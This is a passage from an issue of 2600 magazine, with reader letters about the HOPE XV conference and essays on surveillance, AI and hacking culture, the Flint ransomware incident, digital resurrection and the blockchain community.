HOPE XV Attendee #13

We definitely need to improve our volunteer coordination, as volunteers are key to ensuring that things work smoothly. Now that we’re on an annual schedule, this will become all the more important. We do want to provide incentives (in addition to the free t-shirt), but that requires more coordination and verification of volunteer commitments being met. We’ve always wanted to make volunteering something enjoyable involving interaction with other HOPE attendees and most volunteers see this as another fun part of the conference. It’s our hope that the growth and success of the conference will help make this an easy challenge to address.

Dear 2600:

I enjoyed HOPE.

HOPE XV Attendee #14

Sometimes that’s all that needs to be said.

Dear 2600:

Had a great time as a speaker! Can you tell me when talk vids are posted? Do I just go to hope.net?

HOPE XV Attendee #15

Everything is up on our YouTube channel (channel2600) and available without Google’s restrictions from store.2600.com.

Dear 2600:

There was so much. I’m still processing.

The journey began well enough, but a series of construction-related traffic jams negated our head start and ultimately put us an hour and a half behind schedule. That setback caused us to arrive just in time for peak rush hour. By the time we checked in to our hotel room, I had missed all but a half an hour of the setup shift for which I had volunteered, and the bus ride from hotel to campus took almost another 15 minutes of that. It was a disappointing start. Perhaps next time we will come on Wednesday.

Registration was really quick and smooth, and I liked the pronoun stickers. The green, holographic attendee badges were very pretty. The light-up hacker badges were a wonderful bonus. The wooden nickels for Club-Mate was a cool concept. I prefer to drink it semi-frozen. My husband prefers not to drink it at all.

The overall layout of the conference was vastly improved this time. As much as I liked the main building used in 2022, it’s kind of a hassle after your fifth or sixth trip up and down the hill in one day. The new layout seems more spacious and less compartmentalized, bringing more people together. Having the info desk, registration, and vendor area in a combined section was great. The corner where they had the lockpicking could have used another table. The two they had were full up every time I went over there. The Tobin building was really nice and a great escape from crowds and the heat.

The food trucks were a most welcome addition. There wasn’t anything that I could eat with my food allergies, but I enjoyed the lemonade. My spouse ate from and liked both, especially the waffles and coffee. They were nice enough to fill my thermos with hot water so I could make tea at a moment when I badly needed it.

The cafeteria scene was all right, but they closed kind of early. It was also very stuffy back there, even after some of the windows were opened. I liked that they had juices and fruit cups. Tea was underrepresented. Something frozen and non-dairy would have been nice to have like fruit flavored slushies or granitas.

Some other things that would be nice to have:

An OSINT CTF - The most recent BSides Harrisburg had one and it was very popular. Someone from our local DEFCON group won it. I understand there was supposed to be a CTF of some kind at this HOPE, but it was canceled. Having any kind of CTF that doesn’t require a laptop for participation would be cool. We went to a pub crawl CTF last year, and even though most of us had laptops, we could have done it using only a smartphone.

I know it’s a big ask and perhaps logistically not possible, but some sort of shuttle service to the hotels after late night performances when the bus service becomes scarce to nonexistent would be fantastic.

With so many talks and workshops, it’s impossible to choose a favorite, but there are some speakers and topics that I always enjoy. Jason Scott, Johannes Grenzfurthner, and Jasmin Hagendorfer separately and collaboratively were terrific. “Musings of a Mechatronic Mistress” was a particularly uplifting and affirming experience. I hope Johannes is feeling better.

BiaSciLab’s talk was fun and informative. The cDc’s Veilid presentation provided the most immediately useful information. For as much as I had read about it online, I didn’t fully grasp it until their talk. “Tobias on Locks and Insecurity Engineering” was delightful. I appreciated the advanced nature of it, though some of the jokes and references were over my head.

Mitch Altman’s deeply personal talk was inspiring and cathartic. Sometimes it helps to hear things you already know about processing trauma, such as from bullying or other forms of harassment from someone older and much wiser. It’s good to be reminded that even though you will never get over it, that it’s okay. There will be days when that trauma is less acute and more distant from you. What’s important is to constructively strive to have as many of those days as possible and to uplift others so that they might do the same.

My sole complaint is that the sound in the Little Theatre was a bit much. It was too loud and too sharp for my ears.

Congratulations on 30 years of HOPE. There have been only 15 events, yet I say 30 because there are no off years. There are planning years and action years. May you have many more.

Thank you for having us. We enjoyed volunteering. It was nice to feel like a human being and breathe freer for a long weekend.

HOPE XV Attendee #16

Thanks for all of that feedback. Every suggestion we get is discussed and, when possible, addressed. It’s great to see the recognition of improvements since 2022 and we hope that continues with our conferences in the future. After 30 years, we think we’ve finally gotten the hang of it, one of the reasons we’re going annual. With the help of volunteers like yourself, HOPE will get even better. (You may want to consider the dormitory housing next time for proximity and super cheap prices.)

Dear 2600:

I had a great time as a first time attendee and speaker - thank you for putting on a great event! Some feedback:

We had some trouble getting the streaming system up and running for the first talk in Tobin the second day (I was the second speaker). We had lots of smart people in the room and I have audio/video experience, but nobody knew to press the button on the HDMI switch below the podium. I totally understand this is the function of the AV volunteers but in this particular instance if there were a simple recording of the very basics of AV training, we would have had it figured out. Just a quick video or a couple of pictures detailing vaguely what switches from local to streaming - below that on the wiki page could be more specific instructions on how to do video transitions (never would have guessed space bar with the all touch/soft GUI for the rest of the software). Once we had an AV person there, it took them less than two minutes to run me through the entire platform to where I would have been comfortable running things (which admittedly is definitely due to having a little experience).

This wasn’t a major issue (ate into the presentation by five-ish minutes), but I wanted to note it. Honestly, having a video tutorial would also have made me a lot more likely to volunteer for AV help, knowing a bit more of how the system worked and/or how to make the rooms a little more self sufficient to take away some of the need for a full time dedicated AV person.

There were plenty of food options in the neighborhood and I understand the food trucks were very late additions, but if it’s possible to have them with a gluten free option that would have allowed me to buy something from them. Again, this is me-specific and typically is never accommodated, so please don’t stress out about it. That said, they would make a killing by upcharging on two slices of gluten-free bread to make a burger! I know I heard some interest in vegan/vegetarian food; in some ways the waffle truck alleviated a little bit of that on the snack side. I’m not sure if there’s a local food truck mailing list, Discord, etc., but I know in our city all the food truck operators are connected online so maybe you can plug into there for options next time? Usually the truck people know each other.

Again, had a lot of fun, hopefully my talk inspired/informed some people. I’ll be more inclined to set up my volunteering for/at future events. I wanted to get a better sense of what was going on before I dove in. I didn’t fly out until Monday, so I put in a few hours helping get things wrapped up Sunday evening.

HOPE XV Attendee #17

Thanks for those super helpful suggestions and for volunteering. The AV ideas will be very helpful to us. The frustrating thing about one of the food trucks was that they had told us there would be vegan options and then changed their tune once they got there. It was a real challenge tracking down the ones we got, but hopefully this year we’ll be able to have more variety.

Dear 2600:

Where can I find out more information about the electronic badges? I didn’t get a chance to assemble it until I got home.

HOPE XV Attendee #18

The HOPE wiki (wiki.hope.net) has info and links that should prove helpful.

Dear 2600:

Thank you for a fantastic HOPE! After a few years attending DEF CON, I was a little curious what a hacker con on a dry campus with no alcohol would be like... and it was great! Definitely one of my favorite hacker cons, and when I gave my talk, the audience was full of awesome insights and questions. I’m recommending HOPE to everyone I can!

HOPE XV Attendee #19

That’s awesome to hear! We’re also pleased that the no alcohol on campus policy hasn’t been a deal breaker for most. It’s led to a far more pleasant environment overall. But we do have our official dive bar down the road, as well as multiple options just off campus.

Dear 2600:

I hope that you, and the rest of the HOPE team, were able to get some rest.

I wasn’t able to explore the conference much outside of the vendor area, but I thought that the event was pretty dang good this year. My only other HOPE was in 2022, which was a weird year. HOPE XV had a lot more tables, a lot more people, and I think that the new building used for the vendor area was a lot better. Traffic in the building was very nice, and it was pretty convenient to get to/from parking and such as well.

Overall, I had a great time this year. I hope most of your feedback echoes my thoughts as well. Hats off to y’all for putting this on and I’m excited to attend the next HOPE in two years!

HOPE XV Attendee #20

Then we hope you’ll be even more excited that HOPE will be happening this year as well! All of the details are on other pages in this issue and at hope.net. We hope to see you there!



WE WANT YOUR LETTERS!

Please send us your comments on articles, technology, privacy, or whatever else is on your mind.

As you can see, we're open to a wide amount of opinions.

letters@2600.com or 2600 Letters, PO Box 99, Middle Island, NY 11953 USA


EFFecting Digital Freedom

by Daly Barnett

Systems of Dehumanization: The Digital Frontlines of the War on Bodily Autonomy

I’m writing this in the final few weeks of 2024, where much of my work days are spent threat modeling against an uncertain future. Refuting technological illiteracy in bad Internet bills, helping human rights organizations beef up their OPSEC, and researching the digital surveillance threats facing activists are all a part of this daily grind. One persistent connection I see between these things, not just because I co-lead EFF’s reproductive justice working group, is the continued assault on body sovereignty and the idea that someone’s body, both their actual physical self as well as its virtual counterparts, is their own to make decisions about. I see reverberations of this across many issue spaces. Bear with me as I spell out, here, a high level overview. Please mind the red string.

In 2022, abortion access once again became a hot-button issue when the Dobbs decision to overturn Roe v. Wade was passed. Although the fight for reproductive rights isn’t new in America, what is new is the current context of living under the most sophisticated matrix of surveillance systems of all time. To name a few: passive surveillance from commercial products like Google Search history and Facebook Messenger logs have already been used as criminal evidence in abortion related cases. Location data brokers have been used to locate and identify devices traveling within proximity of clinics that offer abortion services, amassing sensitive data which can be bought by commercial entities and law enforcement (without a subpoena or warrant) alike. The interoperability of electronic health records and third party applications in the health care space have long been a worry for privacy advocates, now even more so when considering the recent push to criminalize health care. These are just a few of the harbingers facing the movement. Anticipating future risks, such as if a federal ban were to pass, is a daunting task.

In 2024 alone, 669 anti-trans bills were introduced to various legislatures across the country. A fraction of those were passed, but those that did spanned a much broader range than just health care bans. They included attacks on free speech, bathroom bans, and various other types of legislative assault. Many trans-liberation activists have noted that these bills seem to aim at legislating transgender people out of public life entirely. If that’s the case, the far reach of digital surveillance into every aspect of our lives poses a threat at every angle. Laws impeding our constitutional right to free expression should concern everyone, not just the communities that such laws deem obscene. Such bans today are most commonly imposed on schools, punishing people and institutions who use so-called dangerous language such as “gender identity” and “preferred pronouns.” Considering the extremely heightened levels of surveillance that schools are under, this is a nightmare scenario.

The vast majority of K-12 schools nowadays foist device monitoring software onto their students. There are rumors as well as some evidence to suggest that at least some of these products - Gaggle, Bark, GoGuardian, just to name a few - have a dirty reputation for inadvertently outing LGBTQ+ students to the adults in their lives. They’re basically rootkits for student-issued devices, monitoring not just their Internet activity but all other apps they use as well, flagging any kind of errant or inappropriate behavior to school administrators. “Red Flag Machine,” an investigation we ran at EFF, discovered how broken these systems are, frequently flagging innocuous educational material as obscene and lewd. It’s no surprise that studies have shown that students with these devices face a drastically increased likelihood of contact with law enforcement.

In practice, many of these paternalistic attempts to “protect” vulnerable groups often have the opposite effect - intended or not. FOSTA-SESTA is another example of what happens when legislators don’t listen to the impacted communities they’re writing laws about. This bill was aimed to curb human trafficking, but as sex worker rights advocates had been arguing well before its passage in 2018, it ended up making things worse. It made the sex industry more dangerous by causing widespread site shutdowns that forced workers back onto the streets. Fearing liability concerns under the vague rule, many sites took to widespread platform censorship of any material related to sexuality, lest they be brought to court. This ended up forcing sites to remove public health resources like sexual education materials and LGBTQ+ history information. Such laws, especially those aimed at eliminating any material perceived as obscene, don’t just fail to achieve their goals - they end up making things worse for everyone.

My point here is that even if none of these issue spaces currently hit close to home for you yet, there is a concerted effort to exert control over peoples’ bodies and their expression with them. As the lens of criminality subsumes one’s own bodily autonomy, it’s a foolish error in threat modeling to assume that it won’t soon impact you. It’s just a matter of time.

Let’s be clear: seizing an individual’s right to their own body is the political strategy of a fascist state. As activism surges to fight for our rights to self-determination and bodily autonomy, mechanisms of surveillance - both law enforcement and commercial - are poised to undermine and endanger these movements. It’s our job as hackers and activists to curtail these systems of oppression. If you’re not in the position to offer direct help to any of these movements, or you’re not sure where to start, that’s fine. We at EFF are already doing it. Visit eff.org/no to help us keep up the good fight, and follow us to learn more about where you can plug in.


We Need To Talk About A.I.

We happen to love playing with artificial intelligence. Most hackers do. Testing its limits, getting it to say crazy things, and using it to help with research is typical of how we use any tool, new or old. But A.I. cannot ever replace our personalities. If you use artificial intelligence to write an article for 2600, that is exactly what you are attempting.




This hasn’t happened very often, certainly less than it’s occurred at other more mainstream publications. But it upsets us when we see what could be an otherwise talented writer take the easy way out and, as is often the case with artificial intelligence, submit inaccurate information. Not to mention the fact that content generated by A.I. is often rather dull and repetitive. So before anyone else decides to go down this road, there’s something we need to say:




Human-written articles are the only kind we accept. If we find that your article was generated by A.I., no article you submit in the future will be considered. Please take the time and use your own words. That’s what we and our readers want to see.




If you wish to take this opportunity to retract an article that was A.I.-generated, please email us at articles@2600.com and give us the details. It would help repair things greatly if that email included a new article written entirely by you.




2600 has existed from Day One on reader submissions. Those are the voices we want to hear from and there are so many topics in the hacker world to write about! While it’s certainly OK to use A.I. to help with syntax, confirmable facts, or even a sentence or two if you’re looking for a better way to phrase something, using it as a crutch is where we must draw the line.




We hope to see a real flurry of articles written by humans in the very near future.




articles@2600.com


What Comes Next for the Art of Hacking?

by Matt

I’ve been reading 2600 for decades. I read it when there was paranoia about who was watching the subscription lists for it. I even used to pay cash at a local bookstore to buy my copies. Now it’s both commonplace to read and discuss the magazine. Plus you can even subscribe online and get PDFs or EPUB versions to read (thank you, editors).

I’ve turned countless people on to reading the magazine, but there is virtually no one newer to the field I’ve spoken to who knows the origin of the name and why it’s so closely connected to the hallmark payphone photos which has always acted as the magazine’s calling card. I won’t go into that here. As we say in chat speak: IYKYK.

Phone phreaking though I will talk about. It was one of the original “hacks” - manipulating phone systems to make free calls. As someone who spent a number of years working for a telecom manufacturer designing and configuring PBX systems, I always found the way voice switching and routing functions operate to be fascinating, and how easy it is to manipulate them. Analog tone-based control just like Close Encounters. Genius.

I also remember very early Windows systems, where you could effectively crash a system with a memory worm in about two lines of code using a random number generator, and Slackware 0.x kernels with their password files and X GUIs that had myriad ways to get around only basic security.

I’ve watched security postures mature over the years, and in turn, hackers got increasingly creative about their methods: packet-in-packet exfiltration, screen scraping, RATs, network snooping, peer-to-peer, and more. Then, as hacking became more of a business and increasingly industrialized, it was all about monetization. Gotta pay those bills and the salaries of the many people working in call center-like offices whose job it is to unlock ransomware impacted machines or convince people their computer needed a driver or a multi-year support contract to avoid a dreaded error code which amounts to nothing more than a standard Window hash.

The art of hacking in the past few years, while alive and well, has from my view morphed into something new. There are still purists who largely do what they do because they love it (think David Lightman from WarGames), but there are certainly people out there who now also use it as a source of income, and not always from malicious pursuits. As one example, the CEH accreditation has become well established as a prized, valuable asset for security analysts and leaders at even the largest companies.

As I think about the future of the space, setting groups who monetize predation tactics aside, I wonder what comes next for the people who just love the art of the hack now that we’re seeing the widespread adoption and exploration of AI. AI models are deeply rooted in advanced mathematics. Read any paper on bias, training, or ablation tactics on models and it’s virtually all graphs, tokens, and mathematical equations instead of scripts, code, and debugging. While traditional code-based hacking is still popular, it has become more complicated and less impactful on newer systems. While still crucial, especially for pen testing and tabletop exercises, a whole new area of “hacking” (if we still would call it that) is emerging using natural language for engaging in mind games with generative models. Messing with an AI on a psychological level can be far more engaging and fruitful (depending upon your objective).

It also makes me consider what comes next.

Will traditional hackers take up inference or tuning corruption, corpus poisoning, and AI worms? Will new hackers focus only on those things, never knowing the origins of their craft? Will hacking as we know it dwindle in favor of simply becoming prompt engineers?

In my opinion, there should always be a need for understanding the basics.

I recall an experiment an MIT professor conducted in late 2023 where a class was divided into two groups of students. One group used an LLM to solve a coding issue and another group used Google search. There were two objectives: first, produce the correct answer quickly. Second, repeat the process without the help of online capabilities.

The LLM group won the first objective and failed miserably on the second. The Google search group finished last (but still solved the problem) on the first objective and were the only ones who could pass the second.

The moral: modern tools may be fast and accurate, but they also don’t reinforce the basics and without that, people become too dependent on tools instead of their own knowledge.

It’s because of this I hope that new people who enter the fray study the origins and find ways to use that to their advantage.

After all, AI red-teaming is a crucial step in testing AI security, so I don’t believe hackers/hacking will ever go away. But I do wonder if the days of creating elaborate code traps and building points of entry to systems and networks are coming to a close.

I mean, why break into a data store if a large language model has all the contents of that store in its memory and you just need to coax it out?

Bottom line: I believe the people just getting into this should understand where we came from, no matter what the tech/tools flavor of the month happens to be, and traditionalists also need to embrace everything new.

The people who do both will be the future. And they’re also the only ones who will understand what “2600” really means.


Big Tech Is Not the Soviet Union - It’s Capitalism Gone Wild

by Mephistolist - (The artist formerly known as Israel)

In Volume 41, Number 2 I found the article “Big Tech Is the New Soviet Union.” As an anti-capitalist, I often critique the Soviet Union - what they did wrong and what they did right. I don’t have a problem with the article taking a different view from me, but I find it important to clear up inaccuracies and confirm what is true and what is not.

The author started describing bread lines in the Soviet Union. Never mind the fact that in 2020 most Americans saw shortages of toilet paper and many supply chain issues that continue through today. The author referenced the cause of this to be due to inserting too much control in the supply chain of the Soviet Union, making it more inefficient. While there were multiple problems there, this is an accurate statement. However, it’s not unique to the Soviet Union, nor any economic system. At the same time, fiber optic speed and next day delivery from some big tech companies have actually made the acquiring of some goods much, much faster. So this argument about big tech in the West doesn’t really seem to apply.

After this, it’s mentioned how users are locked into only using apps from the app store with Google’s phones. Android phones do allow for a user to install and download APKs or software from sources other than the Play Store. While you have to enable this and it warns some outside sources could be malicious, you are not forced to only use the Play Store as described. So this is also an unfair and untrue comparison.

The author went on to explain how big tech firms will often shadow ban users who use terms they do not agree with. This is true, as myself and many have seen it done on social media from all sides of the political spectrum. It’s important to note that these social media companies are not governments. While I do not like their practices, this is not limiting free speech, as these are privately owned companies, not a government. Too often I hear people confusing freedom of speech with the terms of service companies create. Yes, some books were banned in the Soviet Union and journalists were censored, fired, and blackballed by Operation Mockingbird in the U.S. Having less people see an Instagram post is not anything near that type of oppression. At the end of the day, one can go to another social media outlet or make their own where they control the terms of service.

There was also mention how if someone needs to dispute a ban or takedown on YouTube and other companies, disputes are not heard. This is true; I have experienced it myself. I’m unsure how the author sees this as the Soviet Union, but from working for a few big tech firms, I usually find these types of problems due to the capitalist management not wanting to hire enough people to respond or simply not hiring enough competent people to save money. Without working there, it will probably be impossible for either point of view to be confirmed, but this is my experience.

Probably the most confusing part of the article was the mention of gulags. I don’t deny the USSR had them, but comparing this to being punished for violating the terms of service on a website is cartoonishly inaccurate and an insult to those who actually went through gulags. At the same time, I must clarify that while the gulags of the Soviet Union were bad, at no time did they exceed the numbers of U.S. prisoners or the per capitia rate of the population in prison. They also did not have such frequent problems with sexual assault in male prisons that have became a socially acceptable punchline in the U.S. Nor did they allow gangs based around race or racist ideology to thrive in their prisons versus the U.S. So even if the imagined persecution one perceives about a terms of service violation was on that level, the U.S. prison system could just as easily have filled this role.

I did like that the author brought up copyright violations when speaking about disputing takedowns. We must look at why those are such an issue to begin with. From the beginning of copyright until 1998, it was completely legal to copy anything as long as one did not profit. When Napster and others were fighting court cases, some were going unpunished because they ran P2P or torrent sites that had zero ads and no profit to be seized or seen as a violation. Record, movie, and game companies banded together to lobby Congress to change the copyright law to make it illegal even if one did not profit. I could go on to compare how lobbying is nothing more than public bribery of officials, or how it makes any system a plutocracy and suppresses rights and democracy. The important thing is to pin back the need for all these copyright violations to the corporate greed of these companies.

We can also look at the case between Geohot and Sony, which allowed companies to dictate what someone can do to their products after they buy them - essentially making it where one does not really own the products bought now. This made it no surprise that companies would later announce that “gamers need to get used to not owning their games.” All of these draconian economic practices were not done in the Soviet Union, but under capitalism in the United States and enforced by threat of sanctions on other countries who do not comply. It would be fair to equate these companies as authoritarian, but they were very far from a socialist society like the USSR where private companies would not even exist.

So what is to be done? The only reason BSD, Linux, or even simple networking exist the way they do today is because of AT&T’s fears they would be broken up. They put out Research Unix for free to try and avoid that, and that led to all of the things I just mentioned being created. A true capitalist society would not allow for the breakup of monopolies. Whether socialist or just neoliberal, without that fear, AT&T would have kept Unix completely closed source and a lot of innovations would not have happened. Where would these companies be without the free software and break up of AT&T? Google, Amazon, and some of the other big players need to be broken up again. They need to get used to putting out more work for free or the government or the people will do it for them.

Today, the FreeBSD kernel is run by an anarcho-syndicalist-like counsel, where their userland is more anarcho-communist. Linux has a similar model of userland, but Linus is its benevolent Stalin working with the Linux Foundation as a sort of vanguard party. Linux has dominated the server market. Android phones and Chromebooks use Linux’s source code. Meanwhile BSD has taken over most routing devices while running Netflix, Whatsapp, and Playstation. Even Apple is now using a BSD userland with its Mach kernel. Microsoft, which was aggressive to Linux for a long time, started their own Linux distro and are now making regular contributions to the Linux kernel. We can debate the merits of capitalism versus socialism, but being a hacker magazine, it’s better to just show the information confirming where we have already won the tech battle. In the words of MLK: “Capitalism has outlived its usefulness.”

While I disagree with the author of the article, I’d like to thank them for bringing up these topics. While we probably completely disagree on the causes and solutions for these issues, I think it is good for everyone to point out and agree there are problems that need to be solved.

[Previously, I have only submitted articles under the alias of Israel. While that had nothing to do with the geopolitical position in that region, I can no longer use this name even as an alias. Its clear to me now who started the violence and who is the aggressor. From now on I will be writing as Mephistolist instead.]


City of Flint - Pwned Hard

by lg0p89

Most people are familiar with the city of Flint (Michigan) due to its water issues over the years. When you tell people you’re from the Flint area, you get the look. That’s a story for another day. The city of Flint, even though the population base has been decreasing along with the tax base, has a population of approximately 80,000 people.

With the lowered tax base comes the budget issues, which trickle down to the departments, including IT and security. This provides for a softer target for the adversaries.

Attack

A few years ago, Genesee County (where the city of Flint is located) had an issue when they were on the receiving end of a completely successful ransomware attack. It appears this time around it was the city of Flint’s turn to test their incident response plan.

The city was attacked with ransomware, which compromised their systems. And, oh my, did they ever! The attack began early in the morning on Wednesday, August 14, 2024. The penetration’s extent into the system indicates the adversaries’ plan was thorough and well-engineered. It’s almost as if they had their well-used game plan and just followed it step-by-step. The adversaries removed the phone system and Internet, including email for the staff to communicate and collaborate. As a byproduct, the attack also removed the citizen’s ability to conduct business with the city.

Effects

This was a big deal for the city. They saw the county deal with a similar issue years prior. With that issue, there was intense disruption to city services, along with Internet and internal network outages. The city was not able to accept payments online due to the credit systems not being operable. The phones and computers were likewise not operable. The mapping services were not available. If this wasn’t bad enough, even a portion of their emails were lost. On a slightly positive note, some of the staff access to their email was available. Other services not affected and still operating were 911, dispatch, law enforcement, fire operations, garbage collection, and street maintenance. They were able to accept cash or check payments for water, sewer, and tax charges.

Actions

The city of Flint followed the usual playbook and contacted the FBI. In addition, the state of Michigan attorney general was contacted. The city also contracted with cybersecurity experts for the investigation and forensic work.

Review

There was no timeline for restoration. The groups were “...working hard to resolve the issue.” They were able after days to start to get the systems up and running.

In reading through the published articles, this feels like the standard, old-fashioned successful phishing attack. The compromised account would act perfectly as the pivot point into the network. This is another example of why the staff needs phishing training, not once a year for compliance, but throughout the year to build up their identification skills. I know this won’t be absorbed by most, however, this regular training is important. The repeated message starts to sink in after the third exposure.


Flatline: Digital Resurrections and the Dawn of Virtual Immortality

by Variable Rush

Several years ago an advertisement used digitally altered footage of famed dancer Fred Astaire, who was originally dancing with a broom, to instead show him with a vacuum cleaner. Years later, Orville Redenbacher, famed for their popcorn, decided to use CG to resurrect their long-deceased founder and spokesman in an ad that looked plain creepy.

The ancient Egyptians used to believe that a person was not truly dead as long as you kept their name alive. We have long passed the age where the dead sell us popcorn, vacuum cleaners, and milk, and are entering the age where the long-deceased can read us books, carry on conversations, and more.

William Gibson’s 1984 novel Neuromancer, and various media afterward, such as the Netflix series Black Mirror, have explored the idea of a digital representation of a deceased person created via their memories, writing, social media posts, or brain scans. As technology advances at an unprecedented pace, the line between science fiction and reality blurs. By the time you read this, this kind of technology may well exist in a more permanent state.

The Concept of a Flatline Construct

In Neuromancer, the term “flatline construct” refers to a digital construct of a deceased person’s consciousness, made from their brain activity recorded during their lifetime. This construct retains the personality, memories, and skills of the individual, allowing it to interact with the living. Similarly, the Black Mirror episode “Be Right Back” depicts a service that recreates a deceased person’s personality using their digital footprint from social media and other online interactions. In the case of Black Mirror, the service begins as a chatbot and up to a 1:1 scale robot of the deceased individual. Other Black Mirror episodes (“Rachel, Jack, and Ashley Too” and “White Christmas”) explore the idea of an Amazon Echo-like device being programmed with a copy of a person’s mental image.

Technological Foundations

The foundation for creating a flatline lies in several converging technologies. Artificial intelligence (AI) and machine learning are at the forefront, with algorithms that can analyze vast amounts of data to replicate human behavior and decision-making processes. Machine learning models trained on a person’s digital footprint can simulate their personality and responses, offering a semblance of their former presence.

Neural recording and brain-computer interfaces (BCIs) are another critical component. Advances in these technologies enable the capture of brain activity in high resolution, potentially mapping the neural patterns associated with memories and consciousness. This capability could allow for the recreation of a person’s mind in a digital format.

The proliferation of big data and digital footprints also plays a significant role. Individuals leave behind extensive digital trails, including emails, messages, social media posts, photos, and videos, which provide rich material for reconstructing a person’s digital persona. Virtual reality (VR) and augmented reality (AR) technologies can then create immersive environments where digital constructs of deceased individuals can interact with the living, enhancing the sense of presence and realism.

Without this convergence of technology, a flatline construct could be made of a person with one or two of these three foundations, but to create a full copy of a person, a construct would need to be able to have access to the underlying thoughts, phobias, fears, and other background knowledge a person has, even if they never spoke of certain things. Otherwise, you get something not unlike a chatbot that has a specific person’s voice, but would not have the breadth of knowledge an individual would possess.

Current Developments and Research

Several companies and research initiatives are already exploring the potential of flatline constructs. For instance, Eternime aims to create digital avatars of individuals that can live on after their death. By analyzing social media activity, photos, and videos, Eternime’s AI generates an interactive avatar that can converse with future generations. Replika, another AI-driven project, uses machine learning to create a chatbot that mimics the user’s conversational style. Originally designed as an AI friend, Replika’s underlying technology demonstrates the potential for creating lifelike digital constructs. However, Replika’s original goal has gone off the rails as a large portion of its users have decided they could turn their AI into the “perfect” AI girlfriend, no life outside of the user, unable to say no, and panics when threatened with deletion. I do not recommend researching the rabbit hole I went down to find that out.

MIT’s AlterEgo project involves a wearable device that captures internal vocalizations (what they call silent speech) and uses AI to interpret them. While its primary goal is to enhance human cognition and treat neurological conditions, such technology could eventually facilitate the creation of detailed neural maps. Similarly, Elon Musk’s Neuralink is developing technology capable of high-resolution neural recording. While its primary focus is on enhancing human cognition and treating neurological conditions, the technology holds promise for capturing detailed neural patterns essential for creating a flatline construct, possibly one that could be implanted in a robot body.

Even with an ubiquitous technology such as ChatGPT, you can tell it something like, “You are Karamo from Queer Eye. Talk to me about my struggles as though you are him.” And then have a conversation with Fake Karamo, or Fake Steve Irwin, or some other famous person.

Ethical and Societal Implications

The possibility of digital resurrections raises profound ethical and societal questions. One of the primary concerns is consent and privacy. Creating a digital construct of a deceased person requires access to their personal data and (once they exist) neural recordings. Ensuring informed consent and respecting privacy is paramount. Should individuals have the right to control how their digital footprint is used after death? Famed comedian Robin Williams must have seen the future we now live in when he instituted a clause in his will that he will not allow his likeness to be used digitally after his death in films or ads. Just a few weeks ago, ElevenLabs announced digital voice clones of Judy Garland, James Dean, Burt Reynolds, and others to be able to read audiobooks and more. And not too long ago, James Earl Jones signed his voice away to be used for Darth Vader long after he’s gone off to that field of dreams in the sky.

Another significant issue is identity and authenticity. Can a digital construct truly capture the essence of a person, or is it merely an imitation? The authenticity of these digital representations will be scrutinized, and their impact on the grieving process must be considered. Legal and ownership issues also arise, questioning who owns the core memories of a deceased person and the legal status of digital resurrections. Could a digital construct of a victim be used as a witness in their own murder trial?

The psychological impact of interacting with the digital construct of a deceased loved one is another critical consideration. While it could provide comfort to some, it might exacerbate grief for others. The broader societal implications, including the potential changes in how we perceive life, death, and identity, must be carefully examined.

The Road Ahead

While the complete realization of flatline technology may still be years away, the rapid pace of advancements in AI, neural interfaces, and data analysis suggests it is within reach. Researchers and developers must navigate complex ethical and technical challenges to ensure that this technology is used responsibly and benefits society.

The exploration of digital resurrections underscores the potential for technology to reshape our understanding of existence and legacy, heralding a new era of interaction between the living and the digital echoes of the past. As we stand on the brink of this new frontier, it is essential to balance the exciting possibilities with thoughtful ethical considerations to ensure a future where digital immortality enriches rather than diminishes the human experience.


Artificial Interruption

by Alexander Urbelis - alex@urbel.is

Minding the Decentralized Gap

When I look at a mess of tangled wires, something deep within me recoils. The more critical the piece of hardware or infrastructure to which those tangled wires relate, the more acutely I feel that dread. I experienced this sense of disquietude rather regularly during my recent trip to Bangkok for the Ethereum Developers Conference (Devcon) whenever I ventured outside. Seemingly every street post hosted swelling ganglia of black wires, some coiled, some loose, others crisscrossing in random directions. But despite the massive disorder, everything seemed to work just fine. That chaotic cabling enabled a sprawling and ever-changing city, brimming with vitality and history, to host over 12,000 members of the Ethereum ecosystem: builders and hackers whose divergent interests and goals intersected just as much as the tangled wires over which their packets traveled. And despite never having been to Bangkok before, all the while, I had a sense of nostalgia - Devcon reminded me of the first HOPE conference in 1994.

That nostalgia was coupled with optimism for the future, and a nagging feeling that there was a divide that must be bridged, a significant gap between the hacker and cybersecurity subcultures, on the one hand, and that of the Ethereum and wider blockchain ecosystems, on the other. And to be fair, I think that a great deal of the work to bridge this gap falls onto the hacker side of the subculture. There is a feeling that crypto bros, scammers, and those all too taken with lavish lifestyles are running rampant within cryptocurrency spheres and that the blockchain industry itself is tainted. Hacker conferences have been loath to accept blockchain-related submissions and the What Hackers Yearn (WHY2025) conference in the Netherlands deliberately dissuades participants from proposing blockchain talks. That is wrong, outdated, and must be corrected.

Certainly, the initial coin offerings (ICO) of the days of 2016 and thereabouts, and the greed and scams that went with that frenzy, have subsided. And while the odd crypto bro may be inevitable in a market that has assets whose prices are steadily rising, that mentality is an outlier and will continue to grow rarer still with infrastructure being built that will lower network gas fees, thus flatlining the profits of these people who are, even in the Ethereum community, viewed as degenerate gamblers, or “degens.” Degens aside, there are deep and intertwined roots of both subcultures, but somehow they’ve grown far apart.

Both cultures rose out of the tech at issue during the crypto wars of the 1990s, when crypto still referred to cryptography as opposed to cryptocurrency. Recall the skirmishes of Phil Zimmerman, creator of Pretty Good Privacy (PGP), with the federal government. At the time, cryptographic systems that used keys that were longer than 40 bits were considered munitions for purposes of U.S. export regulations, and because PGP encrypted data with keys no shorter than 128 bits, Zimmerman was the target of a long-ranging criminal investigation.

Recall the battle over the Clipper Chip in 1994, a chiclet-sized bit of hardware that would have both enabled encrypted communications over telephone lines and via electronic communications, but which would have been backdoored by way of a key escrow for the U.S. government. Dubbed the first “holy war of the information highway” by The New York Times, I remember so vividly being a 15-year-old hacker listening to discussions on Off The Hook about the civil liberties implications of this key escrow system, conversations that changed the trajectory of my life.

The hacker culture fought hard and won these battles. Asymmetric public key cryptography is now ubiquitous and secure. It’s used in SSL certificates to secure communications between a client and a server from the prying eyes of ISPs and governments; it undergirds highly popular messaging applications like Signal, WhatsApp, and Telegram; and as key pairs used to verify transactions, establish one’s identity, and secure accounts, it is the very same technology on which Ethereum is built.

In the three decades since these battles were fought, tech empires have risen but barely fallen. Surveillance capitalism has been major tech companies’ financial model of choice since at least the days of when the first Gmail account was given away. That trade of an email address and cloud-based storage in exchange for access to our private communications set the stage for the last 20 years of tech offerings where the user was the commodity with little to no power over what happened to personal data. Google, Alphabet, Facebook, Meta, Twitter, X, et alia, have all become gigantic advertising engines propelled by the massive profits made by surveilling our online activities, associations, and communications.

